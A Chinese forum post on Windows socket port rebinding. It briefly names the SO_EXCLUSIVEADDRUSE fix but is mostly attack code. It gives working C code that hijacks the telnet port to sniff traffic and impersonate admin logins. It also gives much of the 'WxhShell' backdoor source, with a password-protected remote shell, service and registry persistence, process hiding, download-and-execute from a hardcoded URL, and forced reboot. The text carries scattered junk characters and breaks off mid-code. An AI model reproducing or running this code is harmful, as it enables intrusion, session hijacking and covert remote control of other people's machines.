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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: fLSXPvm  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZDD..j  
fwrJ!j  
  saddr.sin_family = AF_INET; "t({D   
5DXR8mLoaJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); by'DQ 00  
]W Zq^'q.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L7= Q<D<  
}j2Y5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rC.eyq,105  
<V7>?U l  
  这意味着什么?意味着可以进行如下的攻击: {NPuu?&  
1G0fp:\w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7]x3!AlV  
2RqbrY n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2$14q$eb  
zaFt*~@X  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sp7*_&'J  
%&->%U|'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L lw&& K  
Yly@ww9t|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b+6"#/s  
oEx\j+}@n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?Zc"C  
Rx*BwZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `%E8-]{uS  
X=6y_^  
  #include -D N8Yb  
  #include i]=&  
  #include EyI}{6~F  
  #include    4-kZJ\]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !IC-)C,q  
  int main() bae\Zk%`^  
  { }<>~sy  
  WORD wVersionRequested; 1VF    
  DWORD ret;  ],ZzI  
  WSADATA wsaData; j,t#B"hOnp  
  BOOL val; CW)Z[<d8  
  SOCKADDR_IN saddr; ~%/Wupf  
  SOCKADDR_IN scaddr; mCs#.%dU  
  int err; :LWn<,4F&  
  SOCKET s; {TOmv  
  SOCKET sc; 9prU+9  
  int caddsize; SFb{o <0 =  
  HANDLE mt; nLwiCf e  
  DWORD tid;   zW}[+el }  
  wVersionRequested = MAKEWORD( 2, 2 ); Io|X#\K  
  err = WSAStartup( wVersionRequested, &wsaData ); g ^!C  
  if ( err != 0 ) { a8dXH5_  
  printf("error!WSAStartup failed!\n"); TDg@Tg0  
  return -1; :qR=>n=  
  } ]Ni;w]KE  
  saddr.sin_family = AF_INET; `/"nTB  
   jYVE8Y)my  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 iJv48#'ii  
xrqv@/kJ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jSOS}!=  
  saddr.sin_port = htons(23); IcrL   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D?~8za`5  
  { lJzl6&  
  printf("error!socket failed!\n"); f`8OM}un&  
  return -1; ESg+n(R  
  } YC=S5;  
  val = TRUE; T# lP!c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 WKpA|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y4F6qyP)"  
  { .6m "'m0;  
  printf("error!setsockopt failed!\n"); ]WUC:6x  
  return -1; T *I?9d{k  
  } tu>{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; iB1i/l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 RGIoI ]_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BPqGJ7@  
[U8$HQ+x  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1z*kc)=JF8  
  { b?Pj< tA  
  ret=GetLastError(); Z,c,G2D  
  printf("error!bind failed!\n"); {kLGWbo|Q  
  return -1; D6~+Y~R  
  } `W `0Fwu9  
  listen(s,2); Q<6P. PTya  
  while(1) ?X9]HlH  
  { EPX8Wwf  
  caddsize = sizeof(scaddr); H@l}[hkP  
  //接受连接请求 >Z Ke  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8ga_pNe  
  if(sc!=INVALID_SOCKET) \OC6M` /  
  { pO~c<d}b  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .> Z,uT^A  
  if(mt==NULL) F?u^"}%Fc  
  { y^Vw`-e  
  printf("Thread Creat Failed!\n"); Nt:8ogk/  
  break; kax\h  
  } W3&tJ8*3  
  } _M,lQ~  
  CloseHandle(mt); ciMM^ZRIb  
  } D H^T x  
  closesocket(s); "R9Yb,tIN  
  WSACleanup(); D);'pKl  
  return 0; PzZZ>7_6S  
  }   Y&*x4&Lb  
  DWORD WINAPI ClientThread(LPVOID lpParam) G",.,Px  
  { 2UP,Tgn..  
  SOCKET ss = (SOCKET)lpParam; V% CUMH =U  
  SOCKET sc; PT9v*3Bq~  
  unsigned char buf[4096]; R4e&^tI@*  
  SOCKADDR_IN saddr; 8[bkHfI  
  long num; !EF(*~r!9L  
  DWORD val; )F pJ 1  
  DWORD ret; &hV Zx  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !OcENV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,Vd7V}t  
  saddr.sin_family = AF_INET; T~gW3J  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); VY+>=!  
  saddr.sin_port = htons(23); !asqr1/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5IqQ|/m<6  
  { fT Y/4(  
  printf("error!socket failed!\n"); wk\L*\@Y}  
  return -1; % do1i W  
  } LH]CUfUrUE  
  val = 100; 49 }{R/:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DFe;4BdC  
  { :a3LS|W  
  ret = GetLastError(); )%Y IGV;&  
  return -1; Di=9mHC  
  } beZ(o?uK  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dl l%4Sd  
  { noNm^hFL  
  ret = GetLastError(); q]<xMg#nu  
  return -1; UP2.]B!d  
  } VY'Q|[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) lQ*eH10H  
  { dEp/dd~(&  
  printf("error!socket connect failed!\n"); Jm(ixekp  
  closesocket(sc); =qoRS0Qa  
  closesocket(ss); A8?[6^%O|  
  return -1; ^uaFg`S  
  } ^[-> )  
  while(1) Y?Vz(udD  
  { o;`!kIQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }fIqH4bp  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;vO@m!h}U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6~5$s1Yc  
  num = recv(ss,buf,4096,0); 'pP-rdx  
  if(num>0) mVm4fHEYwU  
  send(sc,buf,num,0); -!*p*3|03|  
  else if(num==0) P#G.lft"O  
  break; s` >H  
  num = recv(sc,buf,4096,0); }++5_Z_  
  if(num>0) h8^i\j  
  send(ss,buf,num,0); d,'!.#e  
  else if(num==0) ]1fZupM^6  
  break; "D> ]ES%5  
  } ValS8V*N1  
  closesocket(ss); ^Gz{6@TY5  
  closesocket(sc); &v# `t~  
  return 0 ; : d'65KMi  
  } [}""@?  
,5-Zb3\  
?ow'^X-  
========================================================== PM~*|(fA  
ZTf_#eS$  
下边附上一个代码,,WXhSHELL #q4*]qGHm  
=B5E0x  
========================================================== w@N{ @tG  
fwmLJ5o N  
#include "stdafx.h" 9[>Lp9l'  
fuSq ={]  
#include <stdio.h> /GsrGX8  
#include <string.h> %{ ~>n"  
#include <windows.h> INLf#  N  
#include <winsock2.h> k\(4sY M  
#include <winsvc.h> =g0*MZ;"  
#include <urlmon.h> Oje|bxQ  
G.VYp6)5  
#pragma comment (lib, "Ws2_32.lib") I]sqi#h$2W  
#pragma comment (lib, "urlmon.lib") &X w`T9<  
%F$N#YG  
#define MAX_USER   100 // 最大客户端连接数 J%r7<y\  
#define BUF_SOCK   200 // sock buffer Pc4R!Tc  
#define KEY_BUFF   255 // 输入 buffer /"0as_L<  
:QA@ c|(PF  
#define REBOOT     0   // 重启 ec?1c&E  
#define SHUTDOWN   1   // 关机 PHkDb/HIx|  
?Y`zg`  
#define DEF_PORT   5000 // 监听端口 A c:\c7M;  
*98Ti|  
#define REG_LEN     16   // 注册表键长度 m'.T2e.u  
#define SVC_LEN     80   // NT服务名长度 </w 7W3F  
y''0PSfb#  
// 从dll定义API <lx^aakk!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [a D:A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xT+ ;w[s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Hs<n^fyf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e 2*F;.)  
LV=^jsQ5  
// wxhshell配置信息 ^?Vq L\V5  
struct WSCFG { DB Xm  
  int ws_port;         // 监听端口 lQr6;D}+  
  char ws_passstr[REG_LEN]; // 口令 -RCv7U`  
  int ws_autoins;       // 安装标记, 1=yes 0=no !d|8'^gc  
  char ws_regname[REG_LEN]; // 注册表键名 LY1KQuY  
  char ws_svcname[REG_LEN]; // 服务名 ftW{C1,U7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +G\0L_B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O2@" w23  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (+$ol'i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \6c8z/O7   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I3ho(Kdi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gL,"ef+nM  
.q0AoM  
}; U$@83?O{iM  
49y *xMn  
// default Wxhshell configuration 7BrV<)ih{*  
struct WSCFG wscfg={DEF_PORT, 5\+EHW!o  
    "xuhuanlingzhe", 09x+Tko9;*  
    1, \vs%U}IrO  
    "Wxhshell", T"A^[ r*  
    "Wxhshell", t!l/`e%J  
            "WxhShell Service", <!hpfTz*  
    "Wrsky Windows CmdShell Service", hqWPf  
    "Please Input Your Password: ", ]g7HEB.Y  
  1, cCYl$MskZ  
  "http://www.wrsky.com/wxhshell.exe", #_,uE9  
  "Wxhshell.exe" WxDb3l~  
    }; 7n [12:  
@C<d2f|8  
// 消息定义模块 &V FjH W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |Pj9ZG#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]#M/$?!]g2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H&u4v2  
char *msg_ws_ext="\n\rExit."; I4CHfs"ar  
char *msg_ws_end="\n\rQuit."; !}j,TPpG  
char *msg_ws_boot="\n\rReboot..."; WkcH5[  
char *msg_ws_poff="\n\rShutdown..."; zdT->%  
char *msg_ws_down="\n\rSave to "; +Gp!cGaAm  
&:C{/QnA  
char *msg_ws_err="\n\rErr!"; 3P3:F2S R  
char *msg_ws_ok="\n\rOK!"; 5@CpP-W#  
bA0uGLc  
char ExeFile[MAX_PATH]; xan/ay>  
int nUser = 0; &,_?>.\[<  
HANDLE handles[MAX_USER]; qU}lGf!dVn  
int OsIsNt; hQP6@KIe)  
,?t}NZY&  
SERVICE_STATUS       serviceStatus; T:dX4=z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g8rp|MOH  
Kyyih|{  
// 函数声明 6S2r  
int Install(void); lJ("6aT?  
int Uninstall(void); rS=tcB O  
int DownloadFile(char *sURL, SOCKET wsh); okVp\RC  
int Boot(int flag); %zRiLcAT  
void HideProc(void); '?z9,oW{  
int GetOsVer(void); nP5d?  
int Wxhshell(SOCKET wsl); ?L8&(&1@VD  
void TalkWithClient(void *cs); zL6 \p)y  
int CmdShell(SOCKET sock); y`\mQ48V  
int StartFromService(void); }ty"fI3&iY  
int StartWxhshell(LPSTR lpCmdLine); Vx}Yl&*D  
A> J1B(up  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LAizx^F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [}jj<!9A_;  
@'@s*9Nr  
// 数据结构和表定义 3^j~~ "2,w  
SERVICE_TABLE_ENTRY DispatchTable[] = y @]8Ep  
{ DBLA% {05  
{wscfg.ws_svcname, NTServiceMain}, 'E@2I9Kj  
{NULL, NULL} B-B?Ff>  
}; g"TPII$  
8x!+tw7  
// 自我安装 g&|4  
int Install(void) 0>I]=M]@  
{ QQ5lW  
  char svExeFile[MAX_PATH]; [0d-CEp[  
  HKEY key; H-;&xzAI  
  strcpy(svExeFile,ExeFile); rsd2v9  
M-}j9,oR`  
// 如果是win9x系统,修改注册表设为自启动 7W6eiUI'  
if(!OsIsNt) { 3"HGEUqA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HKq2Js  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 97['VOh0  
  RegCloseKey(key); 6#OL ;Y]_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k'6<jEbk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *(@L+D0N  
  RegCloseKey(key); M@',3  
  return 0; jc${.?m  
    } ._8xY$l$  
  } dM$N1DB{U+  
} bbfDt^  
else { N |OMj%Uk  
7KvXTrN!9  
// 如果是NT以上系统,安装为系统服务 CsJ)Z%4_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Bf D,z  
if (schSCManager!=0) H1aV}KD  
{ ?Zc/upd:$N  
  SC_HANDLE schService = CreateService >reaIBT  
  ( B FzcoBu-  
  schSCManager, $[HcHnf  
  wscfg.ws_svcname, p?J~'  
  wscfg.ws_svcdisp, t(Q&H!~e   
  SERVICE_ALL_ACCESS, c9Y2eetO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mB{&7Rb0  
  SERVICE_AUTO_START, *" |VNnB  
  SERVICE_ERROR_NORMAL, Q0 uP8I}n  
  svExeFile, 5Z4(J?n  
  NULL, icKg7-$N  
  NULL, ]7XkijNb  
  NULL, lpM>}0v   
  NULL, w^:V."}-$  
  NULL oTplxF1  
  ); ``2QOu 1  
  if (schService!=0) _IQU<Za  
  { Q1O_CC}  
  CloseServiceHandle(schService); *G2)@0 {  
  CloseServiceHandle(schSCManager); iylBK!ou  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kT Z?+hx  
  strcat(svExeFile,wscfg.ws_svcname); @2GhN&=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NB!'u) lFD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >|UrxJ7  
  RegCloseKey(key); * zw R=  
  return 0; 2A@Y&g(6T7  
    } a in#_H  
  } @);!x41f  
  CloseServiceHandle(schSCManager); 7/p J6>  
} jkQt'!  
} E3FW*UNg[y  
L|C1C cP  
return 1; ';;p8bv+  
} p]1yd;Jt  
okK/i  
// 自我卸载 rm5T=fNJ  
int Uninstall(void) 2yEO=SN,(  
{ Vid{6?7kh  
  HKEY key; ex@,F,u>o  
E1U4v&P  
if(!OsIsNt) { yL.PGF1(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -H ac^4uF  
  RegDeleteValue(key,wscfg.ws_regname); U- *8%>Qp  
  RegCloseKey(key); W|r+J8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *MnG-\{j  
  RegDeleteValue(key,wscfg.ws_regname); pr[B$X .V  
  RegCloseKey(key); i&}zcGC  
  return 0; Q}=W>|aE.  
  } lJGqR0:r+  
} !BvTJ-e)F  
} ,E/Y@sajn+  
else { (.@p4q Q-  
(_i vN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _v~D {H&}  
if (schSCManager!=0) zDvP7hl  
{ 7T|J[W O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <y\ Z#z  
  if (schService!=0) Y?&DEKFbD  
  { &0th1-OP_  
  if(DeleteService(schService)!=0) { sw=JUfAhy  
  CloseServiceHandle(schService);  s>*Q  
  CloseServiceHandle(schSCManager); c5wkzY h  
  return 0; 3gV&`>@  
  } ATMogxh  
  CloseServiceHandle(schService);  ^ :  
  } xtIehr0{$I  
  CloseServiceHandle(schSCManager); 8XH|T^5  
} H.l,%x&K  
} :EQme0OW  
dm/\uE'l  
return 1; Hl3XqR  
} j J`Zz  
C\a:eSgaC  
// 从指定url下载文件 53,,%Ue  
int DownloadFile(char *sURL, SOCKET wsh) guUr1Ij  
{ d=4f`q0k  
  HRESULT hr; 8~[C'+r  
char seps[]= "/"; uJ)=+Exii  
char *token; 2 l[A=Z  
char *file; iw~V_y4  
char myURL[MAX_PATH]; VM2@{V/=~  
char myFILE[MAX_PATH]; VhH]n yi7D  
aaf_3UH.B  
strcpy(myURL,sURL); C#**)  
  token=strtok(myURL,seps); ;Xd\$)n  
  while(token!=NULL) ^pQo`T6  
  { e>vUkP y  
    file=token; C)KtM YA,  
  token=strtok(NULL,seps); C tC`:!Q  
  } ?`l=!>C4s  
4MtqQq4%  
GetCurrentDirectory(MAX_PATH,myFILE); c~L6fvS  
strcat(myFILE, "\\"); )QSt7g|OF  
strcat(myFILE, file); ( /x@W`  
  send(wsh,myFILE,strlen(myFILE),0); Gs=a(0 0i?  
send(wsh,"...",3,0); xv#j 593  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FbCZV3Y  
  if(hr==S_OK) |B{$URu  
return 0; 'j"N2NJ  
else P8,{k  
return 1; 6JFDRsX>)?  
N>}K+M>  
} lPFdQ8M  
(15Yw9Mv  
// 系统电源模块 YqY6\ mo  
int Boot(int flag) ?_Dnfa_  
{ \'LCC-  
  HANDLE hToken; 4 _U,-%/  
  TOKEN_PRIVILEGES tkp; I_6` Z 0  
iQ]c k-  
  if(OsIsNt) { v20I<!5w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M%5$-;6~_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g7U:A0Z  
    tkp.PrivilegeCount = 1; !NAX6m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7f\^VG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zloaU  
if(flag==REBOOT) { SJ[@fUxO)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =<'iLQb1  
  return 0; 0rm;)[SjF  
} |nH0~P#!  
else { rIFC#Jd/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }AsF\W+5  
  return 0; gJ GBD9wC  
} nog\,NT  
  } *r?51*J  
  else { + $a:X  
if(flag==REBOOT) { Obc3^pV&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ae_ E;[mj  
  return 0; ;gW|qb+#)j  
} {O&liU4  
else { Lj Q1ar\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x&fCe{5  
  return 0; sBXk$  
} ~Ro:mH: w  
} =ci5&B?  
T4}?w  
return 1; o&F.mYnqX  
} O+o%C*`K  
"g:&Ge*X  
// win9x进程隐藏模块 zkMO3w>  
void HideProc(void) qp_ `Fj:  
{ /GSI.tO  
,/b/O4`;y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |16BidWi  
  if ( hKernel != NULL ) ^R'!\m|FR  
  { 'TN{8~Gt*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n#4J]Z@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0l1]QD+Gc5  
    FreeLibrary(hKernel); :*Ggz|  
  } h7]]F{r5  
:kx#];2i  
return; bSmaE7  
} }NBJ T4R  
IK?$!jh  
// 获取操作系统版本 UlN|Oy,  
int GetOsVer(void) Sd{"A0[A|  
{ @"0N@gU  
  OSVERSIONINFO winfo; K<w5[E9V.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >hL'#;:f#  
  GetVersionEx(&winfo); FHcqu_;J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rH:X/i;D  
  return 1; p;t!"I:`?  
  else 'sQO0611S  
  return 0; pH:|G  
} &?`&X=Q  
i|^`gly  
// 客户端句柄模块 :lQjy@J  
int Wxhshell(SOCKET wsl) iY'hkrw  
{ JiLrwPex[  
  SOCKET wsh; @?=)}2=|?i  
  struct sockaddr_in client; h8-tbHgpb  
  DWORD myID; )* nbEZm@  
'*ICGKoT  
  while(nUser<MAX_USER) f -nC+   
{ tWOze, N  
  int nSize=sizeof(client); U?ic$J]N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?~Ed n-" Y  
  if(wsh==INVALID_SOCKET) return 1; \fR:+rbQ&|  
c_qy)N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h16Nr x  
if(handles[nUser]==0) nN\XVGP,t  
  closesocket(wsh); #Ii.tTk  
else \q1%d.\X  
  nUser++; zPkPC}f(O  
  } vhEs+ j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }R5&[hxh4t  
Odtck9L  
  return 0; gO%i5  
} > ,Bu^] C  
Xl+a@Ggtq  
// 关闭 socket 5XUI7Q%  
void CloseIt(SOCKET wsh) =l'_*B8  
{ HPdwx V  
closesocket(wsh); y8S6ZtA}2  
nUser--; q<uLBaL_]r  
ExitThread(0); <~X6D?  
} YY<?w  
t8N9/DZ}Q  
// 客户端请求句柄 =<h=">}5'  
void TalkWithClient(void *cs) Xgc\O08  
{ mT~>4xi0  
5nq-b@?L  
  SOCKET wsh=(SOCKET)cs; UnF4RF:A2&  
  char pwd[SVC_LEN]; VEEeQy  
  char cmd[KEY_BUFF]; y" -{6{3  
char chr[1]; 7[1 R}G V  
int i,j; ,T~5iLKY  
i4r~eneP  
  while (nUser < MAX_USER) { ^JDV4>S\  
]b| @<E7Y  
if(wscfg.ws_passstr) { <d`UifqD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6i9I 4*'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2^M+s\p  
  //ZeroMemory(pwd,KEY_BUFF); ^ED>{UiNI  
      i=0; Df3v"iCq}  
  while(i<SVC_LEN) { h1o+7  
h#ot)m|I  
  // 设置超时 E+Mdl*  
  fd_set FdRead; b}*bgx@<  
  struct timeval TimeOut; &Q+V I/p  
  FD_ZERO(&FdRead); ',j-n$Z^=  
  FD_SET(wsh,&FdRead); BD#;3?|  
  TimeOut.tv_sec=8; d$~b`  
  TimeOut.tv_usec=0; OBSJbDqT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6yM dl~.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~(]DNXB8I`  
,ToEK Id  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8HA=O ?Cg  
  pwd=chr[0]; j5^b~F%  
  if(chr[0]==0xd || chr[0]==0xa) { ]qHO{b4k  
  pwd=0; deY<+!  
  break; 2A ,36,  
  } pdiZ"pe  
  i++; "Oko|3  
    } [E7@W[xr  
Jz0S2&  
  // 如果是非法用户,关闭 socket tp2 _OQAQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o9\m? ~g!E  
} .. TjEBp  
<F & hfy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'B6H/d>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bQjHQ"G  
3*JybMo"  
while(1) { >G~;2K[  
MA6%g} o  
  ZeroMemory(cmd,KEY_BUFF); 0^Cx`xdX:  
S c Kfr  
      // 自动支持客户端 telnet标准   tb\pjLB][  
  j=0; 8!>pFVNJf  
  while(j<KEY_BUFF) { 6D(m8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,sl.:C4  
  cmd[j]=chr[0]; 6 74X)hB  
  if(chr[0]==0xa || chr[0]==0xd) { Qf]!K6eR  
  cmd[j]=0; rWqA)j*!  
  break; m/nn}+*C  
  } $?{zV$r1  
  j++; I GtH<0Du  
    } ^ s4|  
j=S"KVp9NF  
  // 下载文件 y<(.,Nb8  
  if(strstr(cmd,"http://")) { TaT&x_v^~a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nCB3d[/B  
  if(DownloadFile(cmd,wsh)) vy?YA-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e5KF~0`  
  else Sn&%epi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y|nTc.A  
  } eqCB2u"Jq  
  else { R"([Y#>m  
}2oJ  
    switch(cmd[0]) { O 9)8a]  
  Bx >@HU  
  // 帮助 Z Uv_u6aD  
  case '?': { 6^Vf 5W{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M-|2W~YU  
    break; V=~dgy ~@  
  } rzLl M  
  // 安装 miSC'!  
  case 'i': { 8:NHPHxB  
    if(Install()) +8I0.,'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y,~]ecI  
    else <~w#sIh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X ii#Qtd.  
    break; < *OF  
    } LL+rd xJO^  
  // 卸载 /]&1XT?  
  case 'r': { (p!AX<=z  
    if(Uninstall()) -<=< T@,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wf1DvsJQl  
    else Qpq0j^\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (tN$G:+")F  
    break; UxtZBNn8  
    } #cb6~AH  
  // 显示 wxhshell 所在路径 yl%F<5  
  case 'p': { DmsloPB?_  
    char svExeFile[MAX_PATH]; qW^l2Jff  
    strcpy(svExeFile,"\n\r"); &ii =$4"R  
      strcat(svExeFile,ExeFile); ^5}3FvW  
        send(wsh,svExeFile,strlen(svExeFile),0); =`H( `2  
    break; jN0v<_PJED  
    } w2L)f,X  
  // 重启 $h9!"f[|j  
  case 'b': { "o^zOU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5H5Kt9DoW  
    if(Boot(REBOOT)) ]3'd/v@fT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M(f'qFY=K  
    else { QNFrkel  
    closesocket(wsh); VuW19-G  
    ExitThread(0); ~Y[1Me  
    } QCw<* Id+  
    break; WAbhB A  
    } l1 S1CS  
  // 关机 K<tg+(3  
